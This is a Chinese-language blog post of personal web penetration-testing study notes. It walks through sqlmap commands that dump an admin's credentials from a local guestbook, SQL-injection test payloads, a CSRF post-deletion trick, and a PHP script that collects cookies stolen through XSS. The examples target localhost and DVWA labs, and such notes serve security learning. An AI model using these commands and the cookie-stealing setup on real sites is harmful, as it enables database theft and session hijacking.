web渗透学习

web渗透学习

五月 27, 2021

服务端动态脚本

指放在服务器端才能运行的语言,,每种语言都需要服务器端环境支撑。像asp需要lis,php需要Apache等等。在本地端能用本地浏览器打开的网页像HTML,htm,shtml都属于静态。服务端的动态脚本语言种类:

image-20210527205846660

最流行,占市场率最高的php语言

搭建环境

漏洞环境原理

SQL注入(数据库注入)

因相当大一部分程序员在编写代码时没有对用户输入数据的合法性进行判断,使得应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入

还需要明白:SQL注入攻击的不是像php这样的动态语言本身,而是它背后的数据库。所有的服务端动态脚本语言都可以连接数据库,像aspx连接mssql、php常用的是mysql,jsp是oracle等等。

SQL注入需要的工具

Windows:1.python27,sqlmap需要 2.sqlmap。下载完解压所有文件到一个目录就行,好比解压到d:/sqlmap。该工具用python语言写的,支持跨平台运行,具有一百多个命令行参数。你会安装后,你就会了系统和python环境配置。如果你能掌握所有的参数后,我相信你已经对最流行的数据库注入攻击有了相当深的了解了。Sqlmap是注入神器,有了它你可以扔掉所有注入工具了,它也是个撩妹高手,因为它基本支持了市面上所有数据库,并且注入的姿势(Payload)花样繁多,让你眼花缭乱的。

在这里假设你的python27装在c:/python27,你的sqlmap解压在d:/sqlmap,你可以在命令行底下先执行一条命令就可以直接调用了,命令如下:path=c:/python27;d:/sqlmap

image-20210527221531921

实例讲解sqlmap最基本用法

请注意在注入过程中-D、-T、-C这三个库、表、字段的参数都是用大写的,查询结果不用。要查询某个结果,参数前都用–的,像–tables。

1,检测漏洞:运行:

c:/python27/python.exe d:/sqlmap/sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2

或path=c:/python27;d:/sqlmap再sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2

-u参数是表示后边要跟着的网站链接(URL),如果后边的URL像是”1.php?id=2&name=3”里边有两个&符号的,在windows下请把URL用双引号引起来,如果在linux下倒是不用。回车后,如果出现询问Y/n的,你一直按下回车键就行了。按回车就表示Y,输入n表示不同意。

2,用参数–dbs得到我们注入网站的所有库名

运行:c:/python27/python.exe d:/sqlmap/sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2 –dbs

如果只想得到当前网站的当前库名,参数–dbs换成–current-db

3,用参数-D test –tables得到test库里的所有表名

运行:c:/python27/python.exe d:/sqlmap/sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2 -D test –tables

4,用参数-D test -T manger-users –columns得到数据库test中的manger-users表里所有列名

1
c:/python27/python.exe d:/sqlmap/sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2 -D test -T manger-users --columns

5,运行-D test -T manger-users -C user_name,user_pw –dump得到user-name和user_pw字段里的值

`c:/python27/python.exe d:/sqlmap/sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2 -D test -T manger-users -C user_name,user_pw –dump

请注意上图中也有询问Y/n的,大体意思都是询问我们是否要调用sqlmap自动破解md5密码的。我们并不需要,直接输入n。

我们通过注入最终得到了留言本管理员的用户名和密码,我们直接打开“http://localhost/book/admin”就输入用户名和密码就进入后台了。当然有的网站的后台会改名,我们需要一些后台扫描工具来找到网站的后台

攻击参数

sqlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#” -p “id” –cookie “cookie参数”

img

SQL盲注:数据库的执行结果不会直接显示在页面上,页面的结果只会显示真和假两种状态

三种注入POC;判断闭合方式

…where user_id = $id =》 …where user_id = 1 and 1024=1025

…where user_id =’ $id’ =》 …where user_id = ‘1’ and ‘1024’=’1025’

…where user_id = ‘’$id’’ =》 …where user_id = ‘’1’’ and ‘’1024’’=’’1025’’

CSRF漏洞 初体验

sqlmap.py -u http://localhost/book/admin/lyedit.php?ly_id=2 -p ly_id(可直接用此命令得到后台管理员的用户名和密码)

CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

例子:直接发送链接后让管理员自动删掉这个留言本的一条留言。

我们进入留言本的后台留言管理,右键在删除留言上点击复制链接,会得到链接:http://localhost/book/admin/ly_manage.php?act=del&ly_id=5

我们在留言本主页面留言,在头像哪儿输入:

image-20210528162919676

上面 window.location.href 是调用JS让浏览器页面自动转向到删除页面。

我们提交后,等到管理员登陆后台查看留言时就会自动删除“ly_id=5”的留言了,起到了一个破坏作用。如果你做了这次测试,发现留言本不好用了,请用root、root登陆“http://localhost/phpmyadmin”,删掉test库中ly表里你提交的恶意数据。

image-20210528173857921

HTTP请求里的GET和POST

1、GET:获取一个文档,一个页面,一个图像

大部分被传输到浏览器的html,images,js,css, … 都是通过GET方法发出请求的。它是获取数据的主要方法。 在浏览器地址栏直接打开的网址都是GET请求。

2、POST:发送数据至服务器

尽管可以通过GET方法将数据附加到url中传送给服务器,但在很多情况下使用POST发送数据给服务器更加合适。通过GET发送大量数据是不现实的,它有一定的局限性。用POST请求来发送表单数据是普遍的做法。简而言之,浏览网页一般都是GET请求;注册论坛注册邮箱、注册头条号之类或是用微信登陆头条号一般都是POST请求。注意:GET请求可以跨域、POST请求不可以跨域。

Cookie和Session

1,Cookie:有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行跟踪而储存在用户本地终端上的数据。简单来讲,这东西是存贮在你电脑或手机上的,是可以清理掉的。为什么你登陆了今日头条后,不需要再登陆就是它在起作用,我们客户端是可以清理或按网站格式伪造的Cookie。

2,Session:在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。

简地讲cookie和session的作用是一样的,不过一个在本地你的电脑端贮存,一个在服务器上贮存。cookie你可以随时伪造修改,session如果你没有拿到网站权限时是不可以的。

$_POST [用于接收post提交的数据]
$_GET [用于获取url地址栏的参数数据]
$_FILES [用于文件就收的处理img 最常见]
$_COOKIE [用于获取与setCookie()中的name 值]
$_SESSION [用于存储session的值或获取session中的值]
$_REQUEST [具有get,post的功能,但比较慢]

黑盒渗透实战拿到网站权限

黑盒渗透:指在没有网站源码的情况下进行渗透测试;如果分析网站源码找到漏洞攻击,黑客界的行话叫作白盒代码审计

Webshell:指的是通过黑客手段在服务器上放一个asp、php、jsp或其它格式的动态脚本,对网站有了基本的网页修改、数据库控制、执行命令等低权限操作。

web基础知识

前端漏洞:钓鱼、暗链、xss、点击劫持、csrf、url跳转。后端漏洞:sql注入、命令注入、文件上传、文件包含、暴力破解

常见的web漏洞

XSS who stole my keys 概念:黑客通过”html注入”篡改网页,**插入了恶意脚本(即xss脚本)**,当用户在浏览网页时,实现控制用户浏览器行为的一种攻击方式。危害:盗取用户信息/钓鱼/制造蠕虫等

三种类型 :存储型/反射型/DOM型

存储型:攻击代码位置:数据库;输出:HTTP响应

反射型:攻击代码位置:url ;输出:HTTP响应。

DOM型:攻击代码位置:url ;输出:DOM节点。

image-20210528173450159

传统web站点渗透测试基本步骤

image-20210528174516062

SQL逐入漏洞

sqlmap 发现和利用sql注入漏洞基本流程:1,找到有数据库交互的功能页面(如:xxx/artist.php?artist=1 问号+参数) 2,判断页面是否存在sql注入(artist=1’ 报错存在注入) 3,利用sql注入漏洞读取数据

进行注入尝试:GET/POST

img

img

写入webshell

php——一句话木马

xss

客户端代码注入,通常注入代码是js脚本;能弹窗就说明存在xss

反射型:建立一个cookie.php文件,放入数据库根目录下(localhost/)

1
2
3
4
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

插入弹窗脚本

1
2
<script>alert(1)</script>
弹窗,说明存在xss

替换成远程盗取cookie的语句,进行URL编码后即可在本地服务器指定位置(localhost/)下得到(hacked)用户的cookie跳转到登陆页面,更换cookie,直接访问首页(login.php -> index.php)